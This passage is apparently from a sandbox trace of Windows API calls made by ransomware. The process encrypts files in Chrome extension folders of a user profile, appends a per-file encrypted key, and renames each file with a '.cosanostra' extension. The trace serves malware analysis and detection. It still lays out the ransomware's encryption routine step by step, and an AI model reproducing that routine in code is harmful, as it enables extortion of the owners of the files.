lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.558] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 143 [0085.558] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0085.570] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffd2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.570] WriteFile (in: hFile=0x188, lpBuffer=0x3014a18*, nNumberOfBytesToWrite=0x2d6, lpNumberOfBytesWritten=0x28dfb04, lpOverlapped=0x0 | out: lpBuffer=0x3014a18*, lpNumberOfBytesWritten=0x28dfb04*=0x2d6, lpOverlapped=0x0) returned 1 [0085.571] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.571] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb04, lpOverlapped=0x0 | out: lpBuffer=0x28dfb44*, lpNumberOfBytesWritten=0x28dfb04*=0x4, lpOverlapped=0x0) returned 1 [0085.571] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb04, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb04*=0x30, lpOverlapped=0x0) returned 1 [0085.571] CloseHandle (hObject=0x188) returned 1 [0085.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.cosanostra")) returned 1 [0085.572] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb48 | out: pbBuffer=0x28dfb48) returned 1 [0085.572] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb40*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb40*=0x30) returned 1 [0085.572] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.572] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 139 [0085.572] StrStrW (lpFirst="main.html", lpSrch=".txt") returned 0x0 [0085.573] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffffa4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.573] WriteFile (in: hFile=0x188, lpBuffer=0x3014a18*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x28dfb04, lpOverlapped=0x0 | out: lpBuffer=0x3014a18*, lpNumberOfBytesWritten=0x28dfb04*=0x5c, lpOverlapped=0x0) returned 1 [0085.573] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.573] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb04, lpOverlapped=0x0 | out: lpBuffer=0x28dfb44*, lpNumberOfBytesWritten=0x28dfb04*=0x4, lpOverlapped=0x0) returned 1 [0085.573] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb04, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb04*=0x30, lpOverlapped=0x0) returned 1 [0085.573] CloseHandle (hObject=0x188) returned 1 [0085.574] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.cosanostra")) returned 1 [0085.574] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb40 | out: pbBuffer=0x28dfb40) returned 1 [0085.574] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb38*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb38*=0x30) returned 1 [0085.574] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.575] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 141 [0085.575] StrStrW (lpFirst="icon_16.png", lpSrch=".txt") returned 0x0 [0085.576] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff63, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.576] WriteFile (in: hFile=0x188, lpBuffer=0x3014a18*, nNumberOfBytesToWrite=0x9d, lpNumberOfBytesWritten=0x28dfafc, lpOverlapped=0x0 | out: lpBuffer=0x3014a18*, lpNumberOfBytesWritten=0x28dfafc*=0x9d, lpOverlapped=0x0) returned 1 [0085.576] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.576] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfafc, lpOverlapped=0x0 | out: lpBuffer=0x28dfb3c*, lpNumberOfBytesWritten=0x28dfafc*=0x4, lpOverlapped=0x0) returned 1 [0085.576] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfafc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfafc*=0x30, lpOverlapped=0x0) returned 1 [0085.576] CloseHandle (hObject=0x188) returned 1 [0085.576] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.cosanostra")) returned 1 [0085.577] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb40 | out: pbBuffer=0x28dfb40) returned 1 [0085.577] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb38*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb38*=0x30) returned 1 [0085.577] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.577] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 142 [0085.577] StrStrW (lpFirst="icon_128.png", lpSrch=".txt") returned 0x0 [0085.621] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffff2b9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.621] WriteFile (in: hFile=0x188, lpBuffer=0x3014a18*, nNumberOfBytesToWrite=0xd47, lpNumberOfBytesWritten=0x28dfafc, lpOverlapped=0x0 | out: lpBuffer=0x3014a18*, lpNumberOfBytesWritten=0x28dfafc*=0xd47, lpOverlapped=0x0) returned 1 [0085.621] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.621] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfafc, lpOverlapped=0x0 | out: lpBuffer=0x28dfb3c*, lpNumberOfBytesWritten=0x28dfafc*=0x4, lpOverlapped=0x0) returned 1 [0085.621] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfafc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfafc*=0x30, lpOverlapped=0x0) returned 1 [0085.621] CloseHandle (hObject=0x188) returned 1 [0085.622] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.cosanostra")) returned 1 [0085.623] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb38 | out: pbBuffer=0x28dfb38) returned 1 [0085.623] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb30*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb30*=0x30) returned 1 [0085.623] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.623] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 155 [0085.623] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.624] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.624] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x28dfaf4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfaf4*=0xd1, lpOverlapped=0x0) returned 1 [0085.624] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.624] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfaf4, lpOverlapped=0x0 | out: lpBuffer=0x28dfb34*, lpNumberOfBytesWritten=0x28dfaf4*=0x4, lpOverlapped=0x0) returned 1 [0085.624] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfaf4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfaf4*=0x30, lpOverlapped=0x0) returned 1 [0085.624] CloseHandle (hObject=0x188) returned 1 [0085.624] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0085.626] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb30 | out: pbBuffer=0x28dfb30) returned 1 [0085.626] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb28*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb28*=0x30) returned 1 [0085.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.626] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 155 [0085.626] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.627] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff15, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.627] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xeb, lpNumberOfBytesWritten=0x28dfaec, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfaec*=0xeb, lpOverlapped=0x0) returned 1 [0085.627] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.627] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfaec, lpOverlapped=0x0 | out: lpBuffer=0x28dfb2c*, lpNumberOfBytesWritten=0x28dfaec*=0x4, lpOverlapped=0x0) returned 1 [0085.627] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfaec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfaec*=0x30, lpOverlapped=0x0) returned 1 [0085.628] CloseHandle (hObject=0x188) returned 1 [0085.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0085.629] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb28 | out: pbBuffer=0x28dfb28) returned 1 [0085.629] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb20*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb20*=0x30) returned 1 [0085.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.630] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 155 [0085.630] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.630] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffee9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.630] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x28dfae4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfae4*=0x117, lpOverlapped=0x0) returned 1 [0085.631] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.631] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfae4, lpOverlapped=0x0 | out: lpBuffer=0x28dfb24*, lpNumberOfBytesWritten=0x28dfae4*=0x4, lpOverlapped=0x0) returned 1 [0085.631] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfae4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfae4*=0x30, lpOverlapped=0x0) returned 1 [0085.631] CloseHandle (hObject=0x188) returned 1 [0085.631] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0085.632] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb20 | out: pbBuffer=0x28dfb20) returned 1 [0085.632] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb18*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb18*=0x30) returned 1 [0085.632] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.633] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 155 [0085.633] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.633] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.633] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x28dfadc, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfadc*=0xdd, lpOverlapped=0x0) returned 1 [0085.634] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.634] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfadc, lpOverlapped=0x0 | out: lpBuffer=0x28dfb1c*, lpNumberOfBytesWritten=0x28dfadc*=0x4, lpOverlapped=0x0) returned 1 [0085.634] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfadc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfadc*=0x30, lpOverlapped=0x0) returned 1 [0085.634] CloseHandle (hObject=0x188) returned 1 [0085.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.cosanostra")) returned 1 [0085.635] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb18 | out: pbBuffer=0x28dfb18) returned 1 [0085.635] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb10*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb10*=0x30) returned 1 [0085.635] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.636] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 155 [0085.636] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.636] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.637] WriteFile (in: hFile=0x188, 